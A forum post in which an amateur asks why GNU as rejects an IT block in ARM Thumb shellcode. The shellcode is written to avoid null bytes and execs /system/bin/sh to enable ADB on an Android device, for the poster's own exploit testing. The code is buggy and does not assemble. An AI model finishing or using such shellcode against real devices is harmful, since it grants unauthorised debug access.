Help with IT block in Thumb state

Hi all. I'll begin by saying I'm an amateur in assembly language and I've been learning much of it as I go. I'm used to high level languages like Java, so this is a marked difference. I'm trying to write a small assembly program that will essentially execute a shell command to enable adb. The intended use of this programprogram, or rather, shellcode, is to be do exploit testing for myselfmyself, so, I've intentionally written it in such a way that is least likely to produce null bytes in the output. Code below.

Shellcode:

.section .text
.global _start

/*
Reference of registers:
R0 = adr_shell
R1 = adr_argv
R2 = adr_env
R3 = NULL
R4 = 'X'
R6 = our argument to replace_X
R7 = system call register
*/

_start:
.code 32
@ Stage up for going into THUMB mode
add r3, pc, #1
bx r3

.code 16
@ Set the registers to reference our ascii arguments
ldr r0, =adr_shell
ldr r1, =adr_argv
ldr r2, =adr_env

@ Set our null register and our 'X'
eor r3, r3, r3 @ R3 = NULL
ldr r4, ='X'

@ Replace 'X' in adr_shell with null byte
mov r6, r0 @ Set up our replace_X argument
bl replace_X

@ Replace 'X' in adr_argv with null byte
mov r6, r1 @ Set up our replace_X argument
bl replace_X

@ Replace 'X' in adr_env with null byte
mov r6, r2 @ Set up our replace_X argument
bl replace_X

@ Do system call w/ execve call number
mov r7, #11 @ execve(shell, argv, env)
svc #1 @ system call

adr_shell: .ascii "/system/bin/shX"
adr_argv: .ascii "setprop persist.sys.usb.config adbX"
adr_env: .ascii "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbinX"

@ Look for 'X' in R6 and replace it with R3
replace_X:
cmp r4, #[r6]
@ If condition above sets Not Equal flag in CSPR, Then R6++ and loop
itt ne
addne r6, #1
bne replace_x

strb r3, [r6]
b lr

The error I get with the GNU assembler is:

shellcode.s: Assembler messages:
shellcode.s:56: Error: Thumb does not support conditional execution
shellcode.s:57: Error: branch must be last instruction in IT block -- `bne replace_x'
shellcode.s:59: Error: instruction not allowed in IT block -- `strb r3,[r6]'

But why?? I thought an IT block was specifically for Thumb state? Can anyone clarify to me what I'm doing wrong here?